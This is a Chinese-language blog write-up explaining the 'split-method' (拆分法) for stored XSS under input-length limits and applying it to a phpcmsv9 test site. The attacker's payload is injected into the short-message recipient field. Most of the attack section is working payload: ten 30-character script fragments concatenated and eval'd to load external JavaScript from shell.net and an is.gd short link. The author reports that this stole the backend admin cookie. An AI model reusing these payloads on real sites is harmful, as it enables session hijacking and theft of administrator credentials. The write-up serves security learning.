XSS 一次跨站拆分法的应用

0x01:描述

最近搭了个phpcmsv9的网站,做测试之用,是个低版本的,漏洞比较多,在wooyun上也可以搜到很多漏洞分析。本想着就这样看看漏洞搞一搞,结果发现一处储存型XSS,不知道之前知否有人发现,下面是漏洞利用的过程。

0x02:跨站拆分法

什么是跨站拆分法呢?先说一下它的原理。

著名安全研究员剑心曾发布一篇文章叫做《疯狂的跨站之行》,里面讲述了一种特别的Xss利用技巧,就是当应用程序没有过滤Xss关键字符人(如<、>)却对输入字符长度有限制的情况下,如何使用“拆分法”执行跨站脚本代码。

当时剑心发现某个网站存在Xss漏洞,漏洞出现在评论的联系方式处,但是,这处只能写入30个字符长度,必须的<scrip></scrip> 就占用了17个字符,剩下的只有13个字符可以支配,如此一来,这个Xss只能用来弹出一个对话框。幸运的是,网站的评论处可以重复留言,也就是说可以提交多个脚本标记,于是剑心造出以下Expliot:

<script>z=’document.write’</script>
<script>z=Z+’write(” ‘</script>
<script>z=z+’<script>’</script>
<script>z=z+’ src=ht’</script>
<script>z=z+’tp://ww’</script>
<script>z=z+’w.shell’</script>
<script>z=z+’.net/1.’</script>
<script>z=z+’js></sc’</script>
<script>z=z+’ript’</script>
<script>eval(z)</script>

上述代码的作用是引入一个字符串变量Z,并且将下行代码拆分开来:

document.write('<scrip>  src=//www.shell.net/1.js></scrip>')

然后分几次将其嵌入到变量Z中,最后通过eval(Z)巧妙地执行代码。由此可见,拆分法跨站的核心是:把跨站代码分成几个片段,然后再使用某种方式将其拼凑在一起执行,这和缓冲区溢出的shellcode的利用方式有异曲同工之妙。

0x03:漏洞利用

这次漏洞的利用,正式上述的跨站拆分法。出现XSS漏洞的地方是在会员中心的短消息处

首先,正常的编写一个短消息,然后发送,这时候要用Burpsuit拦截一下抓包,将收信人的位置插入js代码

<script>alert(/xss/)</script>

然后到后台查看短消息,即可触发js

但是接下来想要插入获取cookie的js代码并不容易,因为数据库对收件人的名称长度做了限制

仅能插入小于等于30的字符串,不可能一次性插入,这样就可以尝试跨站拆分法。

首先明确我们的目标:我们试图向网站后台插入这样一句js

<script>
z=document.write("<script src=http://is.gd/2p1PJ9></script>")
eval(z)
</script>

然后我们尝试将它拆成十个部分:

<script>z='document'</script>
<script>z=z+'.write('</script>
<script>z=z+'"<scrip'</script>
<script>z=z+'t src=h'</script>
<script>z=z+'ttp://i'</script>
<script>z=z+'s.gd/2p'</script>
<script>z=z+'1PJ9></'</script>
<script>z=z+'script>'</script>
<script>z=z+'")'</script>
<script>eval(z)</script>

发送10次短消息,将他们插入到网站后台,其中+要url编码,我们看一下效果

收件人处就是我们插入的js,所以什么都没显示,然后看一下源代码

红线的部分就是我们插入的js,然后分成了10次执行,最终成功的获取了cookie:

发表评论

电子邮件地址不会被公开。 必填项已用*标注

*